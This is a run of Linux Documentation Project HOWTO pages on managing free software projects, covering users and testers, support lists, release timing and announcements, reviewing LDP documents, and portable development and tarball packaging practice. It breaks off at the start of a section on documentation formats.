Interacting with users is difficult. In our discussion of interaction with developers, the underlying assumption is that in a free software project, a project maintainer must constantly strive to attract and keep developers who can easily leave at any time.

Users in the free software community are different than developers and are also different than users in the world of proprietary software and they should be treated differently than either group. Some ways in which the groups differ significantly follow:

  • The lines between users and developers are blurred in ways that is totally foreign to any proprietary development model. Your users are often your developers and vice versa.

  • In the free software world, you are often your users' only choice. Because there is such an emphasis on not replicating the work of others in the free software community and because the element of competition present in the propriety software model is absent (or at least in an extremely different form) in the free software development model, you will probably be the only project that does what you do (or at least the only one that does what you do in the way that you do it). This means your responsiveness to your users is even more important than in the proprietary software world.

  • In an almost paradoxical situation, free software projects have less immediate or dire consequences for ignoring their users altogether. It is also often easier to do. Because you don't usually need to compete with another product, chances are good that you will not be scrambling to gain the features of your competitor's newest program. This means that your development process will have to be directed either internally, by a commitment to your users, or through both.

Trying to tackle this unique situation can only be done indirectly. Developers and maintainers need to listen to users and to try and be as responsive as possible. A solid knowledge of the situation recounted above is any free software developer's best tool for shifting his development or leadership style to fit the unique process of free software project management. This chapters will try and introduce some of the more difficult or important points in any projects interactions with users and give some hints on how to tackle these.

4.1. Testing and Testers

In addition to your users being your developers, they are also (and perhaps more commonly) your testers. Before I get flamed, I should rephrase my sentence: some of your users (those who explicitly volunteer) are your testers.

It is important that this distinction be made early on because not all of your users want to be testers. Many users want to use stable software and don't care if they don't have the newest, greatest software with the latest, greatest features. These users except a stable, tested piece of software without major or obvious bugs and will be angry if they find themselves testing. This is yet another way in which a split development model (as mentioned in Section 3.3) might come in handy.

"Managing Projects the Open Source Way" describes what a good test should look for:

Boundary conditions

Maximum buffer lengths, data conversions, upper/lower boundary limits, and so on.

Inappropriate behavior

Its a good idea to find out what a program will do if a user hands it a value it isn't expecting, hits the wrong button, etc. Ask yourself a bunch of "what if" questions and think of anything that might fail or might go wrong and find out what your program would do in those cases.

Graceful failure

The answer to a number of the "what if" questions above is probably "failure" which is often the only answer. Now make sure that it happens nicely. Make sure that when it crashes, there is some indication of why it crashed or failed so that the user or developer understands whats going on.

Standards conformance

If possible, make sure your programs conforms to standards. If it's interactive, don't be too creative with interfaces. If it is non-interactive, make sure it communicates over appropriate and established channels with other programs and with the rest of the system.

4.1.1. Automated testing

For many programs, many common mistakes can be caught by automated means. Automated tests tend to be pretty good at catching errors that you've run into several times before or the things you just forget. They are not very good at finding errors, even major ones, that are totally unforeseen.

CVS comes with a Bourne shell script called sanity.sh that is worth looking at. Debian uses a program called lintian that checks Debian packages for all of the most common errors. While use of these scripts may not be helpful, there is a host of other sanity checking software on the net that may be applicable (feel free to email me any recommendations). None of these will create a bug-free release but they will avoid at least some major oversights. Finally, if your programs become a long term endeavor, you will find that there are certain errors that you tend to make over and over. Start a collection of scripts that check for these errors to help keep them out of future releases.

4.1.2. Testing by testers

For any program that depends on user interactivity, many bugs will only be uncovered through testing by users actually clicking the keys and pressing the mouse buttons. For this you need testers and as many as possible.

The most difficult part of testing is finding testers. It's usually a good tactic to post a message to a relevant mailing list or news group announcing a specific proposed release date and outlining the functionality of your program. If you put some time into the announcement, you are sure to get a few responses.

The second most difficult part of testing is keeping your testers and keeping them actively involved in the testing process. Fortunately, there are some tried and true tactics that can applied toward this end:

Make things simple for your testers

Your testers are doing you a favor so make it as easy as possible for them. This means that you should be careful to package your software in a way that is easy to find, unpack, install, and uninstall. This also means you should explain what you are looking for to each tester and make the means for reporting bugs simple and well established. The key is to provide as much structure as possible to make your testers' jobs easy and to maintain as much flexibility as possible for those that want to do things a little differently.

Be responsive to your testers

When your testers submit bugs, respond to them and respond quickly. Even if you are only responding to tell them that the bug has already been fixed, quick and consistent responses make them feel like their work is heard, important, and appreciated.

Thank your testers

Thank them personally each time they send you patch. Thank them publicly in the documentation and the about section of your program. You appreciate your testers and your program would not be possible without their help. Make sure they know it. Publicly, pat them on the back to make sure the rest of the world knows it too. It will be appreciated more than you expected.

4.2. Setting up Support Infrastructure

While testing is important, the large part of your interactions and responsibility to your users falls under the category of support. The best way to make sure your users are adequately supported in using your program is to set up a good infrastructure for this purpose so that your developers and users help each other and less of the burden falls on you. This way, people will also get quicker and better responses to their questions. This infrastructure comes in several major forms:

4.2.1. Documentation

It should not come as any surprise that the key element to any support infrastructure is good documentation. This topic was largely covered in Section 2.5 and will not be repeated here.

4.2.2. Mailing lists

Aside from documentation, effective mailing lists will be your greatest tool in providing user support. Running a mailing list well is more complicated than installing mailing list software onto a machine.

4.2.2.1. Separate lists

A good idea is too separate your user and development mailing lists (perhaps into project-user@host and project-devel@host) and enforce the division. If people post a development question onto -user, politely ask them to repost it onto -devel and vise versa. Subscribe yourself to both groups and encourage all primarily developers to do the same.

This system provides so that no one person is stuck doing all of the support work and works so that users learn more about the program, they can help newer users with their questions.

4.2.2.2. Choose mailing list software well

Please don't make the selection of mailing list software impulsively. Please consider easy accessibility by users without a lot of technical experience so you want to be as easy as possible. Web accessibility to an archive of the list is also important.

The two biggest free software mailing list programs are majordomo and GNU Mailman. A long time advocate of majordomo, I would now recommend any project choose GNU Mailman. It fulfills the criteria listed above and makes it easier. It provides a good mailing list program for a free software project maintainer as opposed to a good mailing list application for a mailing list administrator.

There are other things you want to take into consideration in setting up your list. If it is possible to gate your mailing lists to Usenet and provide it in digest form as well as making them accessible on the web, you will please some users and work to make the support infrastructure slightly more accessible.

4.2.3. Other support ideas

A mailing list and accessible documentation are far from all you can do to set up good user support infrastructure. Be creative. If you stumble across something that works well, email me and I'll include it here.

4.2.3.1. Make your self accessible

You can not list too few methods to reach you. If you hang out in an IRC channel, don't hesitate to list it in your projects documentation. List email and snailmail addresses, and ways to reach you via ICQ, AIM, or Jabber if they apply.

4.2.3.2. Bug management software

For many large software projects, use of bug management software is essential to keep track of which bugs have been fixed, which bugs have not been fixed, and which bugs are being fixed by which people. Debian uses the Debian Bug Tracking System (BTS) although it may not be best choice for every project (it seems to currently be buckling under its own weight) As well as a damn good web browser, the Mozilla project has spawned a sub-project resulting in a bug tracking system called bugzilla which has become extremely possible and which I like a lot.

These systems (and others like them) can be unwieldy so developers should be careful to not spend more time on the bug tracking system than on the bugs or the projects themselves. If a project continues to grow, use of a bug tracking system can provide an easy standard avenue for users and testers to report bugs and for developers and maintainers to fix them and track them in an orderly fashion.

4.3. Releasing Your Program

As mentioned earlier in the HOWTO, the first rule of releasing is, release something useful. Non-working or not-useful software will not attract anyone to your project. People will be turned off of your project and will be likely to simply gloss over it next time they see a new version announced. Half-working software, if useful, will intrigue people, whet their appetites for versions to come, and encourage them to join the development process.

4.3.1. When to release

Making the decision to release your software for the first time is an incredibly important and incredibly stressful decision. But it needs to done. My advice is to try and make something that is complete enough to be usable and incomplete enough to allow for flexibility and room for imagination by your future developers. It's not an easy decision. Ask for help on a local Linux User Group mailing list or from a group of developer friends.

One tactic is to first do an "alpha" or "beta" release as described below in Section 4.3.3. However, most of the guidelines described above still apply.

When you feel in your gut that it is time and you feel you've weighed the situation well several times, cross your fingers and take the plunge.

After you've released for the first time, knowing when to release becomes less stressful, but just as difficult to gauge. I like the criteria offered by Robert Krawitz in his article, "Free Software Project Management" for maintaining a good release cycle. He recommends that you ask yourself, "does this release..."

  • Contain sufficient new functionality or bug fixes to be worth the effort.

  • Be spaced sufficiently far apart to allow the user time to work with the latest release.

  • Be sufficiently functional so that the user can get work done (quality).

If the answer is yes to all of these questions, its probably time for a release. If in doubt, remember that asking for advice can't hurt.

4.3.2. How to release

If you've followed the guidelines described in this HOWTO up until this point, the mechanics of doing a release are going to be the easy part of releasing. If you have set up consistent distribution locations and the other infrastructure described in the preceding sections, releasing should be as simple as building the package, checking it once over, and uploading it into the appropriate place and then making your website reflect the change.

4.3.3. Alpha, beta, and development releases

When contemplating releases, it worth considering the fact that not every release needs to be a full numbered release. Software users are accustomed to pre-releases but you must be careful to label these releases accurately or they will cause more problems then they are worth.

The observation is often made that many free software developers seem to be confused about the release cycle. " Managing Projects the Open Source Way" suggests that you memorize the phrase, "Alpha is not Beta. Beta is not Release" and I'd agree that tis is a probably a good idea.

alpha releases

Alpha software is feature-complete but sometimes only partially functional.

Alpha releases are expected to be unstable, perhaps a little unsafe, but definitely usable. They can have known bugs and kinks that have yet to be worked out. Before releasing an alpha, be sure to keep in mind that alpha releases are still releases and people are not going to be expecting a nightly build from the CVS source. An alpha should work and have minimal testing and bug fixing already finished.

beta releases

Beta software is feature-complete and functional, but is in the testing cycle and still has a few bugs left to be ironed out.

Beta releases are general expected to be usable and slightly unstable, although definitely not unsafe. Beta releases usually preclude a full release by under a month. They can contain small known bugs but no major ones. All major functionality should be fully implemented although the exact mechanics can still be worked out. Beta releases are great tool to whet the appetites of potential users by giving them a very realistic view of where your project is going to be in the very near future and can help keep interest by giving people something.

development releases

"Development release" is much a more vague term than "alpha" or "beta". I usually choose to reserve the term for discussion of a development branch although there are other ways to use the term. So many in fact, that I feel the term has been cheapened. The popular window manager Enlightenment has released nothing but development releases. Most often, the term is used to describe releases that are not even alpha or beta and if I were to release a pre-alpha version of a piece of software in order to keep interest in my project alive, this is probably how I would have to label it.

4.4. Announcing Your Project

Well, you've done it. You've (at least for the purposes of this HOWTO) designed, built, and released your free software project. All that is left is for you to tell the world so they know to come and try it out and hopefully jump on board with development. If everything is in order as described above, this will be a quick and painless process. A quick announcement is all that it takes to put yourself on the free software community's radar screen.

4.4.1. Mailing lists and Usenet

Announce your software on Usenet's comp.os.linux.announce. If you only announce your software in two places, have it be c.o.l.a and freshmeat.

However, email is still the way that most people on the Internet get their information. Its a good idea to send a message announcing your program to any relevant mailing list you know of and any other relevant Usenet discussion groups.

Karl Fogel recommends that use you simple subject describing the fact that the message is an announcement, the name of the program, the version, and a half-line long description of its functionality. This way, any interested user or developer will be immediately attracted to your announcement. Fogel's example looks like:

Subject: ANN: aub 1.0, a program to assemble Usenet binaries

The rest of the email should describe the programs functionality quickly and concisely in no more than two paragraphs and should provide links to the projects webpage and direct links to downloads for those that want to try it right away. This form will work for both Usenet and mailing list posts.

You should repeat this announcement process consistently in the same locations for each subsequent release.

4.4.2. freshmeat.net

Mentioned earlier in Section 2.1.2.1, in today's free software community, announcements of your project on freshmeat are almost more important than announcements on mailing lists.

Visit the freshmeat.net website or their submit project page to post your project onto their site and into their database. In addition to a large website, freshmeat provides a daily newsletter that highlights all the days releases and reaches a huge audience (I personally skim it every night for any interesting new releases).

4.4.3. Project Mailing List

If you've gone ahead and created mailing lists for your project, you should always announce new versions on these lists. I've found that for many projects, users request a very low-volume announce only mailing list to be notified when new versions are released. freshmeat.net now allows users to subscribe to a particular project so they receive emails every time a new version is announced through their system. It's free and it can stand in for an announce-only mailing list. In my opinion, it can't hurt.

Prev | Home | Next
Maintaining a Project: Interacting with Developers |  | Bibliography


Linux Documentation Project Reviewer HOWTO

David Merrill

david@lupercalia.net

Joy Yokley

jyokley@us.ibm.com

2001-05-12

Revision History
Revision 1.0.1 | 2001-05-12 | Revised by: DCM
Minor bugfixes.
Revision 1.0 | 2001-05-01 | Revised by: jy
Initial release.

This document will help you review LDP documentation. It includes procedures, tips and techniques to make the process easier.

Table of Contents
1. Introduction
1.1. Copyright and License
2. Reviewing Newly Submitted Documentation
3. Reviewing Existing Documentation
3.1. Choosing a Document
3.2. License Issues
3.3. Working With the Latest Version
3.4. Picking a Review to Conduct
4. Technical Accuracy Review
5. Language Review
6. Reporting Your Results

1. Introduction

The LDP Review Project is a "working group" of the Linux Documentation Project whose goal is to improve the quality of the LDP's documentation. We are approaching that goal from two different angles: a review of newly submitted documentation, and a review of existing documentation. Both projects are at an early stage right now, so we are very much open to your suggestions for improvement.

We have a mailing list established at http://www.lupercalia.net/mailman/listinfo/ldp-review.

1.1. Copyright and License

This document is copyright 2001 by David C. Merrill, Ph.D., and is released under the terms of the GNU Free Documentation License, which is hereby incorporated by reference. Send feedback to david@lupercalia.net.

2. Reviewing Newly Submitted Documentation

This review project will continue throughout the life of the LDP. The process will act as a front-end quality assurance review for new documentation which is submitted to the LDP. Ideally documents will be reviewed within one week of their submission to the LDP.

Coordinators of this effort will announce to the list or notify individual review members of new document submissions. The coordinators will try to funnel documents to reviewers who have knowledge in the same technical area as the documentation. If the reviewer is not a technical expert in that particular area and needs technical questions answered, there will be a technical expert designated who will be able to address any technical issues or questions.

Once reviewers have agreed to work on a document, they will have one week to complete the review. If they are not able to complete the review within that time frame, they will need to let the coordinator know of their difficulties so that the author can be notified of the problem. Because these reviews need to be conducted rather quickly, there will be times when reviewers will be more able to accept review work.

When reviewing newly submitted documents, refer to the Section 4 and Section 5 portions of this guide for the types of information to verify and correct. As a reviewer, you will need to check the documents out of the CVS and make any necessary changes. If changes are extensive or if the document has glaringly and fundamentally fatal errors, contact a coordinator to let him or her know what the problems are. Once changes are made, the reviewer will update the minor version number, submit the changes to the CVS, and send the original author a copy of the source.

3. Reviewing Existing Documentation

This project will focus on reviewing documentation that already exists on the LDP. Our goal is to implement a quality management program that makes sure we are supplying up-to-date, accurate, easily read documentation. This process will be ongoing throughout the life of the LDP. Initially, we will try to review all documents currently on the LDP. Once we have made our way through existing documents, we will schedule dates for follow-up reviews. By continually reviewing the documents throughout their life on the LDP, we help make sure that readers have the best experience with Linux documentation.

In addition to the primary goal of improving the quality of the documentation itself, we will also be gathering data about the collection for storage in some sort of database to facilitate the ongoing management of the collection. However, this stage of the review is still being defined; details about the specifics and how this data will be measured will be added in the future.

Below are some general guidelines that you should follow before you begin reviewing existing documentation for the LDP. Please try to have document reviews completed within two weeks of the time you sign up to review a document.

3.1. Choosing a Document

Because this process is just getting started, there are many documents that need review. The most important thing is that you coordinate your work with the other reviewers. To coordinate the effort, we have set up a mailing list for reviewers.

Notify the ldp-review list, which is currently housed at http://www.lupercalia.net/mailman/listinfo/ldp-review, before you begin to review a document. We want to make sure your work is directed where it is most needed and where it will be most useful. Of course, you may have a particular area of expertise and that will dictate your choice to some extent. You can ask on the list for an assignment, or you can select one for yourself and just let us know what you're doing.

3.2. License Issues

Make sure you have the legal right to work on the document. If it is licensed under a free license that specifically grants such rights, you are fine. If not, you need to contact the author and get permission.

If you do not plan to actually change any of the content, but simply report on the document's status, then you don't need permission, regardless of license. Of course, it is still polite, and advisable, to write the author anyway.

3.3. Working With the Latest Version

Make sure the copy you are reviewing is the most current.

If your document includes a URL to an official homepage, visit that page and see if it displays the same version number. If you find the same version number, you are fine. If you find a newer version number, write to the author and ask him or her to please submit the newer version to you.

3.4. Picking a Review to Conduct

There are many different ways a document can be reviewed, and you may have the skills to do only one or two types of reviews. It is sometimes useful (and easier) to do each review as a separate pass through the document; Your Mileage May Vary.

The following sections explain the various types of reviews we are conducting. Use these sections as a guide to help you choose the type of review to conduct and to help you conduct the review itself. Again, when you post your review choice to the review list, please specify the type of review you would like to be responsible for.

4. Technical Accuracy Review

Make sure the facts as stated in the document are correct, helpful, and on topic.

To do a technical accuracy review, you really need to know your subject matter, probably as well or better than the original author. Use whatever other documentation is available for your subject, including man pages, program documentation, other printed books, etc. You might also use mailing lists on the topic, asking for third parties to verify certain facts of which you are in doubt.

When doing this type of review, consider if the information is only valid for certain types of hardware or software. If this is the case, make sure to note the limitations of the document within the document, either within the abstract or as a note at the beginning of the document. For example, if the solutions in the document only are relevant for one type or brand of hardware, make sure that that limitation is defined. This will keep readers from trying to apply a certain type of technology to an application or situation where it will not work.

5. Language Review

Because writers come from all types of backgrounds, there may be problems within the documentation that need to be fixed. Writers may be very knowledgeable in their subject areas but not great writers, or they may be excellent writers but not completely fluent in the language of the document. The language review addresses these types of problems by focusing on language issues that make the document easier for the user to read and understand. Some of the problems that may occur within the document are poor sentence structure, grammar, organization, clarity, and spelling.

If you are doing a language review, you should be fluent in the language and the structure of the language. You want to consider both the logic and grammar of the document. Your primary goal in a language review is to identify and correct areas that could lead to confusion for the reader/user of the document. To this end, you can most certainly use language and grammar references such as dictionaries and handbooks when in doubt.

Although this review does address the structure and delivery of the language, you should not attempt to purge the document of individuality and personality in an attempt to make it "sound better" or more technical. Stilted, humorless language and structures are not the goals here. Again, your goal should be to make the document clear, unambiguous, and correct in spelling and grammar.

Items to evaluate:

  • Spelling. Spelling should conform to a standardized English spelling of terms. For words that are new to the language and not yet standardized (e.g. technical Linux terminology that is generally accepted in the community), follow the most common spelling for the term.

    Note Note

    Because there are two generally accepted forms of English, this review should not privilege American English spellings over British English spellings, or vice-versa. For example, if the author is writes British English and uses the word "realise", you should not change the spelling of the word to "realize" just because you speak/write American English.

  • Grammar. For the purposes of this review, grammar should address issues such as standards of subject/verb agreement, pronoun/antecedent agreement, etc. One of the common and confusing mistakes made in HOWTOs is unclear pronoun antecedents.

    For example, to say, "You will need to set several parameters in the config file to make it compile correctly. The ones you choose to set make a big difference." In this example it sounds like the config file is what is compiling and it takes a re-reading of the phrase for it to be clear that "The ones" refers to the parameters.

    Along these same lines, many authors writing for the LDP use smiley faces and exclamation points where they would never be accepted in formal documentation or grammar handbooks. The general rule to follow at this time is to leave the smiley faces and gratuitous punctuation marks in place unless they interfere with the reader's understanding of the concepts being explained. The rationale behind this is to protect the more conversational tone of the LDP documentation.

  • Capitalization. The word "HOWTO" should always be in full caps with no hyphen. Also, the document title should always be in title case. This means that first words in a title are always capitalized. The only words not capitalized in a title are prepositions, articles, and proper nouns which would not be capitalized otherwise (e.g. insmod). Other capitalization should follow rules of standard English.

  • Clarity. Judgements on clarity are sometimes difficult to make. One successful strategey in evaluating clarity is asking the question "If I did not already know this information, would the explanation be clear from this document." If it is confusing to you and you already generally understand what the author is trying to say, then there is a good chance that the explanation is really confusing for someone reading the document for the first time. If you run across this situation, and you don't really know how to correct the technical explanation, or you are afraid your changes might affect the meaning of the document, ask for help from a technical expert. If no technical expert is available or no one responds to your requests, note the needed changes in the review and mark that these concerns need to be addressed in the technical review.

  • Organization. In some cases the document would really benefit from a different structure. You should address these issues when they interfere with the understanding of the information within the document. If a document gives background information after a procedure has been performed, this may well be too late for the reader to fully consider the information he or she needs before performing the task. Look for document organization that might confuse or mislead the reader. These will be the types of issues you want to address. Once these are identified, it may be worthwhile to let the author know your rationale and discuss major changes with him or her.

  • Sentence Structure. To some extent, sentence structure issues are discussed in the grammar section; however, there are some additional issues that are not grammatically incorrect but do interfere with the readers comprehension of the material. One of the most noticable of these is stacked prepositional phrases. Stacked prepositional phrases become a problem when the document's readability suffers because it becomes less and less clear what the subject and action of the sentence are. In some cases more precise descriptors are needed or sentences need to be changed from one long sentence that is hard to comprehend, to two or three more easily read sentences.

  • Readability. This area is somewhat subjective. What passes for fairly readable material to one person might be confusing to someone else. Because this is a value judgement you should be cautious when marking up an author's work for readability. Realize when basing a judgement on readability that you might be dealing with preferences of style. At this point in time within the LDP, there is no set style or stylistic rules that authors need to follow. In evaluating readability you must consider whether or not the way the document is written truly interferes with the readers understanding of the information. If the answer you come up with is "No, but it doesn't sound like I think it should." then you should probably not re-write the text to make it sound better to you.

  • Versioning. Every document should have a version number, preferably in the form Major.Minor.Bugfix, where each section is an integer. Some authors use Alan Cox style versions (e.g., 1.4pre-3) and some include additional information (e.g., 1.3beta). This is acceptable but not encouraged. The most important thing is that we have a version number so we know which version we are dealing with! Once a document goes through review it should advance in minor or bugfix version number, depending on the amount of change introduced.

  • Title. The title should be in proper title case. The general principle for this is that all words are capitalized in a title except prepositions and articles (an article will be capitalized if it is the first word in the title). The word HOWTO should be in all capital letters. There should be no hyphens within the word HOWTO (with the exception of the Mini-HOWTO). The version should not be included in the title.

  • Date Formats. Dates should be in standard ISO format, which is YYYY-MM-DD.

  • Uniform Use of Terms. Because the HOWTO you are reviewing is probably filled with new information for the reader, it is important that the terms discussed throughout the document be uniform. For example, referring to a part or parameter in one section of the document by one name and then calling it by another name (or an abbreviation that has not be explained) in another part of the document is confusing for the reader. Making sure that terms are the same throughout the document goes a long way in helping the reader understand the documentation.

  • Definitions of Acronyms or Slang. Terminology and language within the realm of computer technology changes rapidly. In reviewing documents you may find that many of the terms that are being discussed are not valid words in any dictionary or technical reference that you are familiar with. In this case you will need to search on terms and find if they are, in fact, terminology that is accepted in the general Linux community. Terms that are less familiar should be defined immediately following the first instance of the term. Slang should be replaced with more common terminology if the slang will causes the reader to be confused by the connotation or denotation of the term. Remember that readers using the document may not come to English as a primary language and, therefore, you should do your best to make sure that the document is as easy to understand as possible.

6. Reporting Your Results

Once you have completed your review of a document, you should send your results back to the working group. The coordinator will record your work in the database. The coordinator will not need the updated source, but he or she will need any metrics you have collected and your notes. He or she will also need to know which types of review you have completed.

If you have made any modifications to the document, also send your updates to the author or maintainer, as well as the LDP Submission List, which is at submit@linuxdoc.org.


Good communication practice

Software Release Practice HOWTO
Prev Next

9. Good communication practice

Your software and documentation won't do the world much good if nobody but you knows it exists. Also, developing a visible presence for the project on the Internet will assist you in recruiting users and co-developers. Here are the standard ways to do that.

9.1. Announce to c.o.l.a and Freshmeat

Announce new releases to comp.os.linux.announce. Besides being widely read itself, this group is a major feeder for web-based what's-new sites like Freshmeat.

9.2. Announce to a relevant topic newsgroup

Find USENET topics group directly relevant to your application, and announce there as well. Post only where the function of the code is relevant, and exercise restraint.

If (for example) you are releasing a program written in Perl that queries IMAP servers, you should certainly post to comp.mail.imap. But you should probably not post to comp.lang.perl unless the program is also an instructive example of cutting-edge Perl techniques.

Your announcement should include the URL of a project website.

9.3. Have a website

If you intend try to build any substantial user or developer community around your project, it should have a website. Standard things to have on the website include:

  • The project charter (why it exists, who the audience is, etc).

  • Download links for the project sources.

  • Instructions on how to join the project mailing list(s).

  • A FAQ (Frequently Asked Questions) list.

  • HTMLized versions of the project documentation

  • Links to related and/or competing projects.

Some project sites even have URLs for anonymous access to the master source tree.

9.4. Host project mailing lists

It's standard practice to have a private development list through which project collaborators can communicate and exchange patches. You may also want to have an announcements list for people who want to be kept informed of the project's process.

If you are running a project named `foo'. your developer list might be foo-dev or foo-friends; your announcement list might be foo-announce.

9.5. Release to major archives

For the last several years, the Metalab archive has been the most important interchange location for Linux software.

Since it was launched in fall 1999, SourceForge has exploded in popularity. It is not just an archive and distribution site, though you can use it that way. It is an entire free project-hosting service that tries to offer a complete set of tools for open-source development groups -- web and archive space, mailing lists, bug-tracking, chat forums, CVS repositories, and other services.

Other important locations include:

  • the Python Software Activity site (for software written in Python).

  • the CPAN, the Comprehensive Perl Archive Network, (for software written in Perl).

Prev | Home | Next
Good documentation practice |  | Good project-management practice


Good development practice

Software Release Practice HOWTO
Prev Next

6. Good development practice

Most of these are concerned with ensuring portability, not only across Linuxes but to other Unixes as well. Being portable to other Unixes is not just a worthy form of professionalism and hackerly politeness, it's valuable insurance against future changes in Linux itself.

Finally, other people will try to build your code on non-Linux systems; portability minimizes the number of annoying perplexed email messages you will get.

6.1. Write either pure ANSI C or a portable scripting language

For portability and stability, you should write either in ANSI C or a scripting language that is guaranteed portable because it has just one cross-platform implementation.

Scripting languages that qualify include Python, Perl, Tcl, Emacs Lisp, and PHP. Plain old shell does not qualify; there are too many different implementations with subtle idiosyncracies, and the shell environment is subject to disruption by user customizations such as shell aliases.

Java holds promise as a portable language, but the Linux-available implementations are still scratchy and poorly integrated with Linux. Java is still a bleeding-edge choice, though one likely to become more popular as it matures.

6.2. Don't rely on proprietary code

Don't rely on proprietary languages, libraries, or other code. In the open-source community this is considered rude. Open-source developers don't trust what they can't see the source code of.

6.3. Follow good C portability practices

If you are writing C, do feel free to use the full ANSI features -- including function prototypes, which will help you spot cross-module inconsistancies. The old-style K&R compilers are history.

On the other hand, do not assume that GCC-specific features such as the `-pipe' option or nested functions are available. These will come around and bite you the second somebody ports to a non-Linux, non-GCC system.

6.4. Use autoconf/automake/autoheader

If you're writing C, use autoconf/automake/autoheader to handle portability issues, do system-configuration probes, and tailor your makefiles. People building from sources today expect to be able to type "configure; make" and get a clean build -- and rightly so.

6.5. Sanity-check your code before release

If you're writing C, test-compile with -Wall and clean up the errors at least once before each release. This catches a surprising number of errors. For real thoroughness, compile with -pedantic as well.

For Python projects, the PyChecker program can be a useful check. It's not out of beta yet, but nevertheless often catches nontrivial errors.

If you're writing Perl, check your code with perl -c (and maybe -T, if applicable). Use perl -w and 'use strict' religiously. (See the Perl documentation for discussion.)

6.6. Sanity-check your documentation and READMEs before release

Run a spell-checker on them. If you look like you can't spell and don't care, people will assume your code is sloppy and careless too.

Prev | Home | Next
Good licensing and copyright practice: the practice |  | Good distribution-making practice


Good distribution-making practice

Software Release Practice HOWTO
Prev Next

7. Good distribution-making practice

These guidelines describe how your distribution should look when someone downloads, retrieves and unpacks it.

7.1. Make sure tarballs always unpack into a single new directory

The single most annoying mistake newbie developers make is to build tarballs that unpack the files and directories in the distribution into the current directory, potentially stepping on files already located there. Never do this!

Instead, make sure your archive files all have a common directory part named after the project, so they will unpack into a single top-level directory directly beneath the current one.

Here's a makefile trick that, assuming your distribution directory is named `foobar' and SRC contains a list of your distribution files, accomplishes this.

foobar-$(VERS).tar.gz:
    @ls $(SRC) | sed s:^:foobar-$(VERS)/: >MANIFEST
    @(cd ..; ln -s foobar foobar-$(VERS))
    (cd ..; tar -czvf foobar/foobar-$(VERS).tar.gz `cat foobar/MANIFEST`)
    @(cd ..; rm foobar-$(VERS))

7.2. Have a README

Have a file called README or READ.ME that is a roadmap of your source distribution. By ancient convention, this is the first file intrepid explorers will read after unpacking the source.

Good things to have in the README include:

  1. A brief description of the project.

  2. A pointer to the project website (if it has one)

  3. Notes on the developer's build environment and potential portability problems.

  4. A roadmap describing important files and subdirectories.

  5. Either build/installation instructions or a pointer to a file containing same (usually INSTALL).

  6. Either a maintainers/credits list or a pointer to a file containing same (usually CREDITS).

  7. Either recent project news or a pointer to a file containing same (usually NEWS).

7.3. Respect and follow standard file naming practices

Before even looking at the README, your intrepid explorer will have scanned the filenames in the top-level directory of your unpacked distribution. Those names can themselves convey information. By adhering to certain standard naming practices, you can give the explorer valuable clues about what to look in next.

Here are some standard top-level file names and what they mean. Not every distribution needs all of these.

README or READ.ME

the roadmap file, to be read first

INSTALL

configuration, build, and installation instructions

CREDITS

list of project contributers

NEWS

recent project news

HISTORY

project history

COPYING

project license terms (GNU convention)

LICENSE

project license terms

MANIFEST

list of files in the distribution

FAQ

plain-text Frequently-Asked-Questions document for the project

TAGS

generated tag file for use by Emacs or vi

Note the overall convention that filenames with all-caps names are human-readable metainformation about the package, rather than build components (TAGS is an exception to the first, but not to the second).

Having a FAQ can save you a lot of grief. When a question about the project comes up often, put it in the FAQ; then direct users to read the FAQ before sending questions or bug reports. A well-nurtured FAQ can decrease the support burden on the project maintainers by an order of magnitude or more.

Having a HISTORY or NEWS file with timestamps in it for each release is valuable. Among other things, it may help establish prior art if you are ever hit with a patent-infringement lawsuit (this hasn't happened to anyone yet, but best to be prepared).

7.4. Design for Upgradability

Your software will change over time as you put out new releases. Some of these changes will not be backward-compatible. Accordingly, you should give serious thought to designing your installation layouts so that multiple installed versions of your code can coexist on the same system. This is especially important for libraries -- you can't count on all your client programs to upgrade in lockstep with your API changes.

The Emacs, Python, and Qt projects have a good convention for handling this; version-numbered directories. Here's how an installed Qt library hierarchy looks (${ver} is the version number):

/usr/lib/qt
/usr/lib/qt-${ver}
/usr/lib/qt-${ver}/bin          # Where you find moc
/usr/lib/qt-${ver}/lib          # Where you find .so
/usr/lib/qt-${ver}/include      # Where you find header files

With this organization, you can have multiple versions coexisting. Client programs have to specify the library version they want, but that's a small price to pay for not having the interfaces break on them.

7.5. Provide RPMs

The de-facto standard format for installable binary packages is that used by the Red Hat Package manager, RPM. It's featured in the most popular Linux distribution, and supported by effectively all other Linux distributions (except Debian and Slackware; and Debian can install from RPMs).

Accordingly, it's a good idea for your project site to provide installable RPMs as well as source tarballs.

It's also a good idea for you to include in your source tarball the RPM spec file, with a production that makes RPMs from it in your Makefile. The spec file should have the extension `.spec'; that's how the rpm -t option finds it in a tarball.

For extra style points, generate your spec file with a shellscript that automatically plugs in the correct version number by analyzing the Makefile or a version.h.

Note: if you supply source RPMs, use BuildRoot to make the program be built in /tmp or /var/tmp. If you don't, during the course of running the make install part of your build, the install will install the files in the real final places. This will happen even if there are file collisions, and even if you didn't want to install the package at all. When you're done, the files will have been installed and your system's RPM database will not know about it. Such badly behaved SRPMs are a minefield and should be eschewed.

Prev | Home | Next
Good development practice |  | Good documentation practice


Good documentation practice

Software Release Practice HOWTO
Prev Next

8. Good documentation practice

The most important good documentation practice is to actually write some! Too many programmers omit this. But here are two good reasons to do it:

  1. Your documentation can be your design document. The best time to write it is before you type a single line of code, while you're thinking out what you want to do. You'll find that the process of describing the way you want your program to work in natural language focuses your mind on the high-level questions about what it should do and how it should work. This may save you a lot of effort later.

  2. Your documentation is an advertisement for the quality of your code. Many people take poor, scanty, or illiterate documentation for a program as a sign that the programmer is sloppy or careless of potential users' needs. Good documentation, on the other hand, conveys a message of intelligence and professionalism. If your program has to compete with other programs, better make sure your documentation is at least as good as theirs lest potential users write you off without a second look.

This HOWTO wouldn't be the place for a course on technical writing even if that were practical. So we'll focus here on the formats and tools available for composing and rendering documentation.

Though Unix and the open-source community have a long tradition of hosting powerful document-formatting tools, the plethora of different formats has meant that documentation has tended to be fragmented and difficult for users to browse or index in a coherent way. We'll summarize the uses, strengths, and weaknesses of the common documentation formats. Then we'll make some recommendations for good practice.

8.1. Good practice in the present

Here are the documentation markup formats now in widespread use among open-source developers. When we speak of "presentation" markup, we mean markup that controls the document's appearance explicitly (such as a font change). When we speak of "structural" markup, we mean markup that describes the logical structure of the document (like a section break or emphasis tag.) And when we speak of "indexing", we mean the process of extracting from a collection of documents a searchable collection of topic pointers that users can employ to reliably find material of interest across the entire collection.

man pages

